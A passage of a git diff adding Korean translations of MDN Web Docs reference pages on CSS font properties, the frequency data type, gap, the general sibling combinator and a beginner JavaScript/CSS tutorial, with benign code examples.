중요하게 기억할 점은, em 값은 합성 값입니다. 위의 CSS 에 아래 HTML 을 적용해보겠습니다.

+ +
<div>
+<span>Outer <span>inner</span> outer</span>
+</div>
+
+ +

그 결과는

+ +

{{EmbedLiveSample("Ems", 400, 40)}}

+ +

브라우저의 기본 font-size 가 16px 이라고 가정해보면, "outer" 는 16px 로 그려지고 , "inner" 는 25.6px로 그려집니다. 왜냐하면 span의 font-size 가 1.6 em 으로 부모의 font-size에 상대적인데,  그 부모의 font-size도 상대적으로 계산되기 때문입니다. 이러한 동작을 합성이라고 부릅니다.

+ +

rem

+ +

rem 값은 합성 문제를 회피하기 위해 고안되었습니다. rem 값은 부모 엘리먼트가 아니라 최상위 html 엘리먼트에 상대적입니다. 다르게 표현하면, rem 은 부모 크기에 의해 폰크 크기가 정해지지 않도록 하여 합성 문제를 제거합니다.

+ +

아래 CSS 는 이전 예제와 거의 동일합니다. 딱 하나 다른 점은 단위가 rem 으로 바뀌었습니다.

+ +
html {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6rem;
+}
+
+ +

이 CSS 를 같은 HTML 에 적용하면 이렇게 보입니다

+ +
<span>Outer <span>inner</span> outer</span>
+ +

{{EmbedLiveSample("Rems", 400, 40)}}

+ +

이 예제에서 "outer inner outer" 는 모두 16px 로 보입니다 (브라우저의 기본 폰트 설정이 16px 인 경우).

+ +

예제

+ +

예제 1

+ +
/* 문단 텍스트의 크기를 매우 크게 설정 */
+p { font-size: xx-large }
+
+/* h1 (제목 1)을 주변 텍스트보다 2.5배 큼 */
+h1 { font-size: 250% }
+
+/* span 태그 안의 텍스트를 16px 로 설정 */
+span { font-size: 16px; }
+
+ +

예제 2

+ +
.small {
+	font-size: xx-small;
+}
+.larger {
+	font-size: larger;
+}
+.point {
+	font-size: 24pt;
+}
+.percent {
+	font-size: 200%;
+}
+
+ +
<h1 class="small">Small H1</h1>
+<h1 class="larger">Larger H1</h1>
+<h1 class="point">24 point H1</h1>
+<h1 class="percent">200% H1</h1>
+ +

결과

+ +

{{EmbedLiveSample('예제_2','600','200')}}

+ +

참고

+ +

{{Cssxref("font-size")}} 속성의 em 과 ex 단위는 부모 엘리먼트의 폰트 크기에 상대적입니다(자기 엘리먼트의 폰트 크기에 상대적인 다른 속성과는 다르게). 이는 em 단위와 퍼센트 단위가 {{Cssxref("font-size")}} 에서 동일하게 동작함을 의미합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}{{Spec2('CSS3 Fonts')}}No change
{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}{{Spec2('CSS3 Transitions')}}Defines font-size as animatable.
{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}{{Spec2('CSS2.1')}}No change
{{SpecName('CSS1', '#font-size', 'font-size')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.font-size")}}

diff --git a/files/ko/web/css/font-synthesis/index.html b/files/ko/web/css/font-synthesis/index.html new file mode 100644 index 0000000000..99810d8517 --- /dev/null +++ b/files/ko/web/css/font-synthesis/index.html @@ -0,0 +1,111 @@ +--- +title: font-synthesis +slug: Web/CSS/font-synthesis +tags: + - CSS + - CSS Fonts + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/font-synthesis +--- +
{{CSSRef}}
+ +

CSS font-synthesis 속성은 브라우저가 굵은 글꼴과 이탤릭 글꼴을 합성하는 것을 허용할지 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/font-synthesis.html")}}
+ + + +

구문

+ +

font-synthesis는 다음 방법 중 하나를 사용해 지정합니다.

+ +
    +
  • none 키워드.
  • +
  • weight 또는 style 키워드.
  • +
  • weightstyle 키워드.
  • +
+ +

+ +
+
none
+
굵은 글꼴과 이탤릭 글꼴의 합성을 금지합니다.
+
weight
+
필요한 경우 굵은 글꼴을 합성할 수 있습니다.
+
style
+
필요한 경우 이탤릭 글꼴을 합성할 수 있습니다.
+
+ +

설명

+ +

대부분의 표준 서양 글꼴은 이탤릭과 굵은 글꼴을 포함하고 있으나 상용 글꼴은 그렇지 않은 경우도 많습니다. 한국, 중국, 일본을 포함한 비 알파벳 문화권의 문자 체계는 보통 이런 변형을 포함하지 않으며 브라우저의 글꼴 합성으로 인해 가독성이 떨어질 수 있습니다. 이 두 가지 경우에 대해 font-synthesis를 사용해 기본 글꼴 합성을 끄는 것이 좋을 수도 있습니다.

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

글꼴 합성 비활성화

+ +

HTML

+ +
<em class="syn">절 합성하세요! Synthesize!</em>
+<br/>
+<em class="no-syn">절 합성하지 마세요! Synthesize!</em>
+
+ +

CSS

+ +
em {
+  font-weight: bold;
+}
+.syn {
+  font-synthesis: style weight;
+}
+.no-syn {
+  font-synthesis: none;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('글꼴_합성_비활성화', '', '50') }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#propdef-font-synthesis', 'font-synthesis')}}{{Spec2('CSS3 Fonts')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.font-synthesis")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("font-style")}}
  • +
  • {{cssxref("font-weight")}}
  • +
diff --git a/files/ko/web/css/font-weight/index.html b/files/ko/web/css/font-weight/index.html new file mode 100644 index 0000000000..bc3ff93c1c --- /dev/null +++ b/files/ko/web/css/font-weight/index.html @@ -0,0 +1,283 @@ +--- +title: font-weight +slug: Web/CSS/font-weight +translation_of: Web/CSS/font-weight +--- +
{{CSSRef}}
+ +

요약

+ +

font-weight CSS 속성은 폰트(font)의 가중치(weight)나 굵기(boldness)를 명시한다. 몇몇 폰트들은 normal 나 bold 일 때만 가능하다. 

+ +

{{cssinfo}}

+ +

구문

+ +
font-weight: normal;
+font-weight: bold;
+
+/* Relative to the parent */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Global values */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+
+ +

+ +
+
normal
+
보통 폰트 가중치. 400 과 같음.
+
bold
+
굵은 폰트 가중치. 700 과 같음.
+
lighter
+
(가능한 폰트 가중치 중) 부모 요소(element) 보다 얇은 폰트 가중치.
+
bolder
+
(가능한 폰트 가중치 중) 부모 요소 보다 굵은 폰트 가중치.
+
100, 200, 300, 400, 500, 600, 700, 800, 900
+
normal 과 bold 이외를 제공하는 폰트를 위한 숫자형 폰트 가중치.
+
+ +

대비책(Fallback)

+ +

만약 정확히 주어진 가중치를 사용할 수없다면, 실제로 렌더링 되는 가중치를 결정하기 위해 다음과 같은 경험적 접근이 적용된다:

+ +
    +
  • 만약 500 초과의 가중치가 주어지면, 가능한 굵은(darker) 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 얇은(lighter) 가중치 중 가장 가까운 것).
  • +
  • 만약 400 미만의 가중치가 주어지면, 가능한 얇은 가중치 중 가장 가까운 것이 사용된다 (만약 없다면, 굵은 가중치 중 가장 가까운 것).
  • +
  • 만약 가중치가 400 이 주어지면, 500 이 사용된다. 만약 500 이 불가능하면, 500 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.
  • +
  • 만약 가중치가 500 이 주어지면, 400 이 사용된다. 만약 400 이 불가능하면, 400 미만의 폰트 가중치를 위한 경험적 접근이 사용된다.
  • +
+ +

이것은 normalbold 만 지원하는 폰트일 경우, 100-500 은 normal, 600-900 은 bold 임을 의미한다.

+ +

상대적 가중치의 의미

+ +

lighter 나 bolder 가 주어진 경우, 요소의 절대적인 가중치를 계산하기 위해 다음 차트가 사용된다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상속된 값bolderlighter
100400100
200400100
300400100
400700100
500700100
600900400
700900400
800900700
900900700
+ +

일반적인 가중치 이름 매핑

+ +

100~900 의 가중치 값들은 다음의 일반적인 두께 이름으로 대응된다:

+ +
+
100
+
Thin (Hairline)
+
200
+
Extra Light (Ultra Light)
+
300
+
Light
+
400
+
Normal
+
500
+
Medium
+
600
+
Semi Bold (Demi Bold)
+
700
+
Bold
+
800
+
Extra Bold (Ultra Bold)
+
900
+
Black (Heavy)
+
+ +

보간

+ +

font-weight 값은 100 단위로 보간된다. 보간은 실수 공간에서 이루어지며 100의 배수에 가까운 값으로 어림한다. 100의 배수 중간의 값들은 양의 무한대 방향의 가까운 값으로 어림한다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p>
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+</p>
+
+<div>I'm heavy<br/>
+  <span>I'm lighter</span>
+</div>
+
+ +

CSS

+ +
/* Set paragraph text to be bold. */
+p {
+  font-weight: bold;
+}
+
+/* Set div text to two steps darker than
+   normal but less than a standard bold. */
+div {
+ font-weight: 600;
+}
+
+/* Sets text enclosed within span tag
+   to be one step lighter than the parent. */
+span {
+  font-weight: lighter;
+}
+ +

결과

+ +

{{EmbedLiveSample("Examples","400","300")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}{{Spec2('CSS3 Fonts')}}변경사항 없음
{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}{{Spec2('CSS3 Transitions')}}font-weight 이 animatable 로 정의됨
{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}{{Spec2('CSS2.1')}}변경사항 없음
{{SpecName('CSS1', '#font-weight', 'font-weight')}}{{Spec2('CSS1')}}초기 정의
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support2.0{{CompatGeckoDesktop(1.0)}}3.03.51.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile(1.0)}}6.06.03.1
+
diff --git a/files/ko/web/css/font/index.html b/files/ko/web/css/font/index.html new file mode 100644 index 0000000000..209669ed77 --- /dev/null +++ b/files/ko/web/css/font/index.html @@ -0,0 +1,345 @@ +--- +title: font +slug: Web/CSS/font +tags: + - CSS + - CSS Fonts + - CSS Property + - Reference +translation_of: Web/CSS/font +--- +
{{CSSRef}}
+ +

font CSS 속성은 {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, {{cssxref("font-family")}}의 단축 속성입니다. 요소의 글꼴을 시스템 폰트로 설정할 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/font.html")}}
+ + + +

다른 단축 속성과 마찬가지로, 생략한 속성은 초기값으로 설정하며 이 과정에서 다른 속성으로 설정한 값을 덮어 쓸 수도 있습니다. font 속성으로 설정할 수 없는 {{cssxref("font-stretch")}}, {{ cssxref("font-size-adjust")}}, {{cssxref("font-kerning")}}의 값도 초기값으로 돌아갑니다.

+ +

구문

+ +

font 속성은 하나의 키워드를 지정해 시스템 폰트를 사용하도록 설정할 수도 있고, 여러 글꼴 관련 속성의 단축 속성으로도 사용할 수 있습니다.

+ +

font를 시스템 폰트 키워드로 사용하려면 {{anch("caption")}}, {{anch("icon")}}, {{anch("menu")}}, {{anch("message-box")}}, {{anch("small-caption")}}, {{anch("status-bar")}} 중 하나를 사용해야 합니다.

+ +

font를 단축 속성으로 사용하려면,

+ +
    +
  • 다음 속성의 값을 포함해야 합니다. +
      +
    • {{cssxref("<font-size>")}}
    • +
    • {{cssxref("<font-family>")}}
    • +
    +
  • +
  • 다음 속성의 값을 포함할 수 있습니다. +
      +
    • {{cssxref("<font-style>")}}
    • +
    • {{cssxref("<font-variant>")}}
    • +
    • {{cssxref("<font-weight>")}}
    • +
    • {{cssxref("<line-height>")}}
    • +
    +
  • +
  • font-style, font-variantfont-weight는 font-size의 앞에 와야 합니다.
  • +
  • font-variant는 CSS 2.1에서 정의한 normal과 small-caps만 사용할 수 있습니다.
  • +
  • line-height는 font-size 바로 다음에 와야 하며 "/"로 구분해야 합니다. 예: "16px/3"
  • +
  • font-family는 마지막 값이어야 합니다.
  • +
+ +

+ +
+
<'font-style'>
+
{{cssxref("font-style")}} 참고
+
<'font-variant'>
+
{{cssxref("font-variant")}} 참고
+
<'font-weight'>
+
{{cssxref("font-weight")}} 참고
+
<'font-stretch'>
+
{{cssxref("font-stretch")}} 참고
+
<'font-size'>
+
{{cssxref("font-size")}} 참고
+
<'line-height'>
+
{{cssxref("line-height")}} 참고
+
<'font-family'>
+
{{cssxref("font-family")}} 참고
+
+ +

시스템 폰트 키워드

+ +
+
caption
+
버튼, 드랍다운 메뉴 등 설명이 붙은 컨트롤에 사용하는 시스템 폰트.
+
icon
+
아이콘 이름에 사용하는 시스템 폰트.
+ +
드랍다운 메뉴, 메뉴 리스트 등 메뉴에서 사용하는 시스템 폰트.
+
message-box
+
다이얼로그 창에 사용하는 폰트.
+
small-caption
+
소형 컨트롤에 사용하는 시스템 폰트.
+
status-bar
+
창의 상태표시줄에 사용하는 시스템 폰트.
+
추가 시스템 폰트 키워드
+
각 브라우저마다 더 많은 키워드를 접두사와 함께 구현하고 있습니다. Gecko는 -moz-window, -moz-document, -moz-desktop, -moz-info, -moz-dialog, -moz-button, -moz-pull-down-menu, -moz-list-moz-field를 가지고 있습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
/* 글씨 크기 12픽셀, 줄 높이 14픽셀, 글꼴 sans-serif */
+p { font: 12px/14px sans-serif }
+
+/* 글씨 크기 부모 또는 기본값(부모가 없을 경우)의 80%, 글꼴 sans-serif */
+p { font: 80% sans-serif }
+
+/* 글씨 굵기 굵게, 스타일 기울이기, 글씨 크기 크게, 글꼴 serif */
+p { font: bold italic large serif }
+
+/* 창의 상태표시줄과 같은 글꼴 사용 */
+p { font: status-bar }
+
+ + + + + + + + + + + + + +

{{ EmbedLiveSample('예제','100%', '380px')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Fonts', '#font-prop', 'font')}}{{ Spec2('CSS3 Fonts')}}Added support for font-stretch values.
{{ SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight')}}{{ Spec2('CSS2.1')}}Added support for keywords.
{{ SpecName('CSS1', '#font', 'font')}}{{ Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.font")}}

diff --git a/files/ko/web/css/frequency/index.html b/files/ko/web/css/frequency/index.html new file mode 100644 index 0000000000..6b3d88b859 --- /dev/null +++ b/files/ko/web/css/frequency/index.html @@ -0,0 +1,75 @@ +--- +title: +slug: Web/CSS/frequency +tags: + - CSS + - CSS Data Type + - Reference + - Web +translation_of: Web/CSS/frequency +--- +
{{CSSRef}}
+ +

CSS <frequency> 자료형은 목소리의 높낮이 등 주파수를 나타냅니다. 현재 어떤 CSS 속성도 <frequency>를 사용하지 않습니다.

+ +

구문

+ +

<frequency> 자료형은 {{cssxref("<number>")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성핳합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다.

+ +

단위

+ +
+
Hz
+
헤르츠로 주파수를 나타냅니다. 예시: 0Hz, 1500Hz, 10000Hz.
+
kHz
+
킬로헤르츠로 주파수를 나타냅니다. 예시: 0kHz, 1.5kHz, 10kHz.
+
+ +
+

참고: 0은 단위와 상관없이 언제나 같은 값을 나타내지만, 주파수에서는 단위를 생략할 수 없습니다. 즉 0은 유효한 주파수가 아니며 0Hz0kHz를 나타내지 않습니다. 단위 문자가 대소문자를 구분하지 않기는 하지만, SI에서 명시한 대로 "H"는 대문자로 표기하는 게 좋습니다.

+
+ +

예제

+ +

유효한 주파수

+ +
12Hz     양의 정수
+4.3Hz    실수
+14KhZ    단위가 대소문자를 구분하지 않지만, SI 표준에서 벗어난 표기는 비추천
++0Hz     0, 양의 부호와 단위
+-0kHz    0, 음의 부호와 단위
+ +

유효하지 않은 주파수

+ +
12.0     단위가 없으므로 <number>지만 <frequency>가 아님
+7 Hz     수와 단위 사이에 공백은 불허
+0        <length>는 단위 없는 0을 받을 수 있지만, <frequency>는 불가능
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#frequency', '<frequency>')}}{{Spec2('CSS3 Values')}}Initial definition.
+ +
+

참고: <frequency>CSS Level 2의, 지금은 사용하지 않는 청각적 미디어 특성에서 음성의 높낮이를 설정할 때 사용했습니다. 이후 CSS3에서 다시 추가됐지만, 지금으로써는 어떤 CSS 속성에서도 사용하지 않습니다.

+
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.frequency")}}

diff --git a/files/ko/web/css/gap/index.html b/files/ko/web/css/gap/index.html new file mode 100644 index 0000000000..7aca4dc713 --- /dev/null +++ b/files/ko/web/css/gap/index.html @@ -0,0 +1,220 @@ +--- +title: gap (grid-gap) +slug: Web/CSS/gap +tags: + - CSS + - CSS Flexible Boxes + - CSS Grid + - CSS Multi-column Layout + - CSS Property + - Reference +translation_of: Web/CSS/gap +--- +
{{CSSRef}}
+ +

CSS gap 속성은 행과 열 사이의 간격(거터)을 설정합니다. {{CSSxRef("row-gap")}}과 {{CSSxRef("column-gap")}}의 단축 속성입니다.

+ + + +
{{EmbedInteractiveExample("pages/css/grid-gap.html")}}
+ +
+

원래 CSS Grid Layout은 접두사를 붙인 grid-gap 속성을 정의했었으며, 현재 gap으로 대체하는 과정 중에 있습니다. 그러나 grid-gap만 구현하고 그리드 레이아웃용 gap은 구연하지 않은 브라우저를 지원하려면 위의 대화형 예제처럼 접두사 속성을 사용해야 합니다.

+
+ +

구문

+ +
/* 단일 <length> 값 */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* 단일 <percentage> 값 */
+gap: 16%;
+gap: 100%;
+
+/* 이중 <length> 값 */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* 이중 또는 혼합 <percentage> 값 */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* calc() 값 */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* 전역 값 */
+gap: inherit;
+gap: initial;
+gap: unset;
+
+ +

gap<'row-gap'> 값을 사용해 지정하며, 선택적으로 <'column-gap'>을 추가할 수 있습니다. <'column-gap'>을 생략한 경우 <'row-gap'>과 동일한 값을 사용합니다.

+ +

<'row-gap'><'column-gap'>은 각각 <length> 또는 <percentage>를 사용해 지정합니다.

+ +

+ +
+
{{CSSxRef("<length>")}}
+
그리드 선을 분할하는 간격의 너비.
+
{{CSSxRef("<percentage>")}}
+
그리드 선을 분할하는 간격의 너비. 요소 크기에 상대적입니다.
+
+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

플렉스 레이아웃

+ +

HTML

+ +
<div id="flexbox">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+
+ +

CSS

+ +
#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  gap: 20px 5px;
+}
+
+#flexbox > div {
+  border: 1px solid green;
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+
+}
+
+ +

결과

+ +

{{EmbedLiveSample("플렉스_레이아웃", "auto", "120px")}}

+ +

그리드 레이아웃

+ +

HTML

+ +
<div id="grid">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS

+ + + +
#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  gap: 20px 5px;
+}
+
+#grid > div {
+  border: 1px solid green;
+  background-color: lime;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("그리드_레이아웃", "auto", "120px")}}

+ +

다열 레이아웃

+ +

HTML

+ +
<p class="content-box">
+  This is some multi-column text with a 40px column
+  gap created with the CSS <code>gap</code> property.
+  Don't you think that's fun and exciting? I sure do!
+</p>
+
+ +

CSS

+ +
.content-box {
+  column-count: 3;
+  gap: 40px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("다열_레이아웃", "auto", "120px")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}{{Spec2("CSS3 Box Alignment")}}Initial definition
+ +

{{CSSInfo}}

+ +

브라우저 호환성

+ + + +

플렉스 레이아웃 지원

+ +

{{Compat("css.properties.gap.flex_context")}}

+ +

그리드 레이아웃 지원

+ +

{{Compat("css.properties.gap.grid_context")}}

+ +

다열 레이아웃 지원

+ +

{{Compat("css.properties.gap.multicol_context")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/general_sibling_combinator/index.html b/files/ko/web/css/general_sibling_combinator/index.html new file mode 100644 index 0000000000..7fb79bd5f0 --- /dev/null +++ b/files/ko/web/css/general_sibling_combinator/index.html @@ -0,0 +1,80 @@ +--- +title: 일반 형제 결합자 +slug: Web/CSS/General_sibling_combinator +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/General_sibling_combinator +--- +
{{CSSRef("Selectors")}}
+ +

일반 형제 결합자(~)는 두 개의 선택자 사이에 위치하여 뒤쪽 선택자의 요소와 앞쪽 선택자 요소의 부모 요소가 같고, 뒤쪽 선택자의 요소가 뒤에 위치할 때 선택합니다. 두 요소가 서로 붙어있을 필요는 없습니다.

+ +
/* 서로 형제인 문단 중 이미지 뒤쪽인 경우에만 선택 */
+img ~ p {
+  color: red;
+}
+ +

구문

+ +
former_element ~ target_element { style properties }
+
+ +

예제

+ +

CSS

+ +
p ~ span {
+  color: red;
+}
+ +

HTML

+ +
<span>이건 빨강이 아닙니다.</span>
+<p>여기 문단이 있습니다.</p>
+<code>그리고 코드도 있습니다.</code>
+<span>이제 빨강입니다!</span>
+<code>더 많은 코드가 있습니다.</code>
+<span>이것도 빨강입니다!</span>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 120)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#general-sibling-combinators", "subsequent-sibling combinator")}}{{Spec2("CSS4 Selectors")}}Renames it the "subsequent-sibling" combinator.
{{SpecName("CSS3 Selectors", "#general-sibling-combinators", "general sibling combinator")}}{{Spec2("CSS3 Selectors")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.general_sibling")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/getting_started/javascript/index.html b/files/ko/web/css/getting_started/javascript/index.html new file mode 100644 index 0000000000..2f9fd8f53b --- /dev/null +++ b/files/ko/web/css/getting_started/javascript/index.html @@ -0,0 +1,144 @@ +--- +title: JavaScript +slug: Web/CSS/Getting_Started/JavaScript +tags: + - 'CSS:Getting_Started' +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +--- +

이 페이지는 입문서의 II 부입니다. II 부는 모질라에서의 CSS의 범위(scope)를 보여주는 예제들을 포함하고 있습니다.

+

II 부의 각 페이지는 CSS 가 다른 기술(technologies)들과 어떻게 상호작용하는지 설명하고 있습니다. 이 페이지들은 이들 다른 기술들을 사용하는 방법들을 가르치기위해서 디자인 되지는 않았습니다. 이 들 기술들을 자세히 배우려면 다른 입문서를 보세요.

+

대신 이 페이지들은 CSS의 다양한 사용법을 설명하기 위해서 디자인되었습니다. 이들 페이지들을 사용하려면, CSS에 대해 좀 알고 있어야만 합니다, 그러나, 다른 분야 기술들에대한 어떤 지식을 필요로하지는 않습니다.

+

정보: 자바스크립트(JavaScript)

+

자바스크립트(JavaScript)는 + + 프로그래밍 언어 + 입니다. 모질라 애플리케이션( 예를 들면, 모질라 브라우저) 사용할 때, 컴퓨터가 실행시키는 코드의 많은 부분이 자바스크립트로 쓰여져 있습니다.

+

자바스크립트는 스타일 시트와 상호작용하여, 문서 스타일을 동적으로 변화시키는 프로그램을 쓸 수 있게 해줍니다.

+

이렇게 하는데 세가지 방법이 있습니다:

+
    +
  • 문서의 스타일 시트 리스트와 함께 작동함으로써 — 예: 스타일 시트를 첨가, 제거, 또는 수정함으로써
  • +
  • 스타일 시트의 규칙(rules)와 함께 작동함으로써 — 예: 규칙을 첨가, 제거, 또는 수정 함으로써
  • +
  • DOM내의 각 엘리먼트(element)와 함께 작동함으로써 — 예: 문서 스타일을 문서의 스타일 시트와는 독립적으로 수정함으로써
  • +
+ + + + + + + +
+ More details
모질라에서의 자바스트립트에 대해 더 많은 정보를 원하시면, 이 위키(wiki)에 있는 JavaScript페이지를 보세요.
+

액션: 자바스크립트 예제(demonstration)

+

새로은 HTML 문서 doc5.html를 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:

+
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Mozilla CSS Getting Started - JavaScript demonstration</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style5.css">
+<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
+</HEAD>
+
+<BODY>
+<H1>JavaScript sample</H1>
+
+<DIV id="square"></DIV>
+
+<BUTTON type="button" onclick="doDemo(this);">Click Me</BUTTON>
+
+</BODY>
+</HTML>
+
+
+

새로운 CSS 파일 style5.css을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:

+
+
/*** JavaScript demonstration ***/
+#square {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  margin-bottom: 1em;
+  }
+
+button {
+  padding: .5em 2em;
+  }
+
+
+

새로운 텍스트 파일 script5.js을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:

+
+
// JavaScript demonstration
+function doDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "#fa4"
+  button.setAttribute("disabled", "true")
+  setTimeout(clearDemo, 2000, button)
+  }
+
+function clearDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "transparent"
+  button.removeAttribute("disabled")
+  }
+
+
+

브라우저에서 문서을 열고 버튼을 누르세요.

+

이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:

+ + + + + + + +
+ + + + + + +
+

JavaScript demonstration

+
+
+  
+
+
+
+ + + + + + +
+

JavaScript demonstration

+
+
+  
+
+
+
+

이 예제에서 주의할 점:

+
    +
  • HTML 문서는 전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.
  • +
  • 스크립트는 DOM안의 개개의 엘리먼트(element)와 함께 작동합니다. 스크립트는 사각형(square)의 스타일을 직접 수정합니다. 스크립트는 버튼의 스타일을 속성(attribute)을 변경함으로써 간접적으로 수정합니다.
  • +
  • 자바스크립트에서 document.getElementById("square") 는 그 기능상 CSS 선별자(selector) #square 와 유사합니다.
  • +
  • 자바스크립트에서 backgroundColor는 CSS 속성 background-color에 상응합니다.
  • +
  • 브라우저는 버튼이 사용할 수 없게 되었을 때 그 모습을 바꾸어 주는 button{{ mediawiki.external('disabled=\"true\"') }}에 대한 내장된 CSS 규칙을 가지고 있습니다.
  • +
+ + + + + + + +
+ Challenge
스크립트를 변경해서 사각형(square)이 색이 변할 때 오른쪽으로 20em 점프했다가 이후 되 돌아오게 만드세요.
+

그럼 다음은?

+

If you had difficulty understanding this page, or if you have other comments about it, please contribute to its Discussion page.

+

이 예제에서 HTML 문서가 단지 버튼 엘리먼트만이 스크립트를 사용함에도 불구하고 스크립트에 링크를 가지고 있었습니다. 모질라는 CSS를 확장해서 자바스크립트 코드를 (내용물과 다른 스타일 시트들도) 선택된 엘리먼트에 링크할 수 있게 합니다. 다음 페이지에서는 다음을 실행해 봅니다: XBL bindings

diff --git a/files/ko/web/css/getting_started/svg_graphics/index.html b/files/ko/web/css/getting_started/svg_graphics/index.html new file mode 100644 index 0000000000..d8ca001fb2 --- /dev/null +++ b/files/ko/web/css/getting_started/svg_graphics/index.html @@ -0,0 +1,195 @@ +--- +title: SVG graphics +slug: Web/CSS/Getting_Started/SVG_graphics +tags: + - 'CSS:Getting_Started' +translation_of: Web/SVG/Tutorial/SVG_and_CSS +--- +

이 페이지는 그래픽을 만들기 위한 특별한 언어 SVG를 설명합니다.

+

SVG 기능이 있는 모질라 브라우저에서 작동하는 간단한 예제를 만듭니다.

+

정보: SVG

+

+ + SVG + (Scalable Vector Graphics, 스케일러블 벡터 그래픽)은 그래픽을 만들어내기 위한 XML-기반 언어입니다.

+

